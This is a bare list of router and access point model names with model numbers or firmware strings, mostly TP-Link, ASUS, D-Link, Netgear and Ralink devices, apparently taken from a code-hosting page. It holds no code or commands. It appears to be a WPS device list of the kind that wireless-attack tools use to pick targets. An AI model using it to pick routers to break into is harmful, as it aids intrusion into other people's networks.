ADSL RT2860
|
||||||
|
AIR3G WSC Wireless Access Point AIR3G WSC Device
|
||||||
|
AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP
|
||||||
|
Archer_A9 1.0
|
||||||
|
ArcherC20i 1.0
|
||||||
|
Archer A2 5.0
|
||||||
|
Archer A5 4.0
|
||||||
|
Archer C2 1.0
|
||||||
|
Archer C2 3.0
|
||||||
|
Archer C5 4.0
|
||||||
|
Archer C6 3.20
|
||||||
|
Archer C6U 1.0.0
|
||||||
|
Archer C20 1.0
|
||||||
|
Archer C20 4.0
|
||||||
|
Archer C20 5.0
|
||||||
|
Archer C50 1.0
|
||||||
|
Archer C50 3.0
|
||||||
|
Archer C50 4.0
|
||||||
|
Archer C50 5.0
|
||||||
|
Archer C50 6.0
|
||||||
|
Archer MR200 1.0
|
||||||
|
Archer MR200 4.0
|
||||||
|
Archer MR400 4.2
|
||||||
|
Archer MR200 5.0
|
||||||
|
Archer VR300 1.20
|
||||||
|
Archer VR400 3.0
|
||||||
|
Archer VR2100 1.0
|
||||||
|
B-LINK 123456
|
||||||
|
Belkin AP EV-2012-09-01
|
||||||
|
DAP-1360 DAP-1360
|
||||||
|
DIR-635 B3
|
||||||
|
DIR-819 v1.0.1
|
||||||
|
DIR-842 DIR-842
|
||||||
|
DWR-921C3 WBR-0001
|
||||||
|
D-Link N Router GO-RT-N150
|
||||||
|
D-Link Router DIR-605L
|
||||||
|
D-Link Router DIR-615H1
|
||||||
|
D-Link Router DIR-655
|
||||||
|
D-Link Router DIR-809
|
||||||
|
D-Link Router GO-RT-N150
|
||||||
|
Edimax Edimax
|
||||||
|
EC120-F5 1.0
|
||||||
|
EC220-G5 2.0
|
||||||
|
EV-2009-02-06
|
||||||
|
Enhanced Wireless Router F6D4230-4 v1
|
||||||
|
GPON ONT GPON ONT
|
||||||
|
GN256VH GN256VH
|
||||||
|
Home Internet Center KEENETIC series
|
||||||
|
Home Internet Center Keenetic series
|
||||||
|
Huawei Wireless Access Point RT2860
|
||||||
|
JWNR2000v2(Wireless AP) JWNR2000v2
|
||||||
|
Keenetic Keenetic series
|
||||||
|
Linksys Wireless Access Point EA7500
|
||||||
|
Linksys Wireless Router WRT110
|
||||||
|
NBG-419N NBG-419N
|
||||||
|
Netgear AP EV-2012-08-04
|
||||||
|
NETGEAR Wireless Access Point NETGEAR
|
||||||
|
NETGEAR Wireless Access Point R6220
|
||||||
|
NETGEAR Wireless Access Point R6260
|
||||||
|
N/A EV-2010-09-20
|
||||||
|
Ralink Wireless Access Point RT2860
|
||||||
|
Ralink Wireless Access Point WR-AC1210
|
||||||
|
RTL8196E
|
||||||
|
RTL8xxx EV-2009-02-06
|
||||||
|
RTL8xxx EV-2010-09-20
|
||||||
|
RTL8xxx RTK_ECOS
|
||||||
|
RT-G32 1234
|
||||||
|
Sitecom Wireless Router 300N X2 300N
|
||||||
|
Smart Router R3 RT2860
|
||||||
|
Tenda 123456
|
||||||
|
Timo RA300R4 Timo RA300R4
|
||||||
|
TD-W8151N RT2860
|
||||||
|
TD-W8901N RT2860
|
||||||
|
TD-W8951ND RT2860
|
||||||
|
TD-W9960 1.0
|
||||||
|
TD-W9960 1.20
|
||||||
|
TD-W9960v 1.0
|
||||||
|
TD-W8968 2.0
|
||||||
|
TEW-731BR TEW-731BR
|
||||||
|
TL-MR100 1.0
|
||||||
|
TL-MR3020 3.0
|
||||||
|
TL-MR3420 5.0
|
||||||
|
TL-MR6400 3.0
|
||||||
|
TL-MR6400 4.0
|
||||||
|
TL-WA855RE 4.0
|
||||||
|
TL-WR840N 4.0
|
||||||
|
TL-WR840N 5.0
|
||||||
|
TL-WR840N 6.0
|
||||||
|
TL-WR841N 13.0
|
||||||
|
TL-WR841N 14.0
|
||||||
|
TL-WR841HP 5.0
|
||||||
|
TL-WR842N 5.0
|
||||||
|
TL-WR845N 3.0
|
||||||
|
TL-WR845N 4.0
|
||||||
|
TL-WR850N 1.0
|
||||||
|
TL-WR850N 2.0
|
||||||
|
TL-WR850N 3.0
|
||||||
|
TL-WR1042N EV-2010-09-20
|
||||||
|
Trendnet router TEW-625br
|
||||||
|
Trendnet router TEW-651br
|
||||||
|
VN020-F3 1.0
|
||||||
|
VMG3312-T20A RT2860
|
||||||
|
VMG8623-T50A RT2860
|
||||||
|
WAP300N WAP300N
|
||||||
|
WAP3205 WAP3205
|
||||||
|
Wi-Fi Protected Setup Router RT-AC1200G+
|
||||||
|
Wi-Fi Protected Setup Router RT-AX55
|
||||||
|
Wi-Fi Protected Setup Router RT-N10U
|
||||||
|
Wi-Fi Protected Setup Router RT-N12
|
||||||
|
Wi-Fi Protected Setup Router RT-N12D1
|
||||||
|
Wi-Fi Protected Setup Router RT-N12VP
|
||||||
|
Wireless Access Point .
|
||||||
|
Wireless Router 123456
|
||||||
|
Wireless Router RTL8xxx EV-2009-02-06
|
||||||
|
Wireless Router Wireless Router
|
||||||
|
Wireless WPS Router <#ZVMODELVZ#>
|
||||||
|
Wireless WPS Router RT-N10E
|
||||||
|
Wireless WPS Router RT-N10LX
|
||||||
|
Wireless WPS Router RT-N12E
|
||||||
|
Wireless WPS Router RT-N12LX
|
||||||
|
WN3000RP V3
|
||||||
|
WN-200R WN-200R
|
||||||
|
WPS Router (5G) RT-N65U
|
||||||
|
WPS Router DSL-AC51
|
||||||
|
WPS Router DSL-AC52U
|
||||||
|
WPS Router DSL-AC55U
|
||||||
|
WPS Router DSL-N14U-B1
|
||||||
|
WPS Router DSL-N16
|
||||||
|
WPS Router DSL-N17U
|
||||||
|
WPS Router RT-AC750
|
||||||
|
WPS Router RT-AC1200
|
||||||
|
WPS Router RT-AC1200_V2
|
||||||
|
WPS Router RT-AC1750
|
||||||
|
WPS Router RT-AC750L
|
||||||
|
WPS Router RT-AC1750U
|
||||||
|
WPS Router RT-AC51
|
||||||
|
WPS Router RT-AC51U
|
||||||
|
WPS Router RT-AC52U
|
||||||
|
WPS Router RT-AC52U_B1
|
||||||
|
WPS Router RT-AC53
|
||||||
|
WPS Router RT-AC57U
|
||||||
|
WPS Router RT-AC65P
|
||||||
|
WPS Router RT-AC85P
|
||||||
|
WPS Router RT-N11P
|
||||||
|
WPS Router RT-N12E
|
||||||
|
WPS Router RT-N12E_B1
|
||||||
|
WPS Router RT-N12 VP
|
||||||
|
WPS Router RT-N12+
|
||||||
|
WPS Router RT-N14U
|
||||||
|
WPS Router RT-N56U
|
||||||
|
WPS Router RT-N56UB1
|
||||||
|
WPS Router RT-N65U
|
||||||
|
WPS Router RT-N300
|
||||||
|
WR5570 2011-05-13
|
||||||
|
XC220-G3v 1.0
|
||||||
|
ZyXEL NBG-416N AP Router
|
||||||
|
ZyXEL NBG-416N AP Router NBG-416N
|
||||||
|
ZyXEL NBG-418N AP Router
|
||||||
|
ZyXEL NBG-418N AP Router NBG-418N
|
||||||
|
ZyXEL Wireless AP Router NBG-417N
|
||||||
|
Modem/Router EV-2010-09-20
|
||||||
|
RB06 RT2860
|
||||||
|
RB03 RT2860
|
||||||
Loading…
Reference in a new issue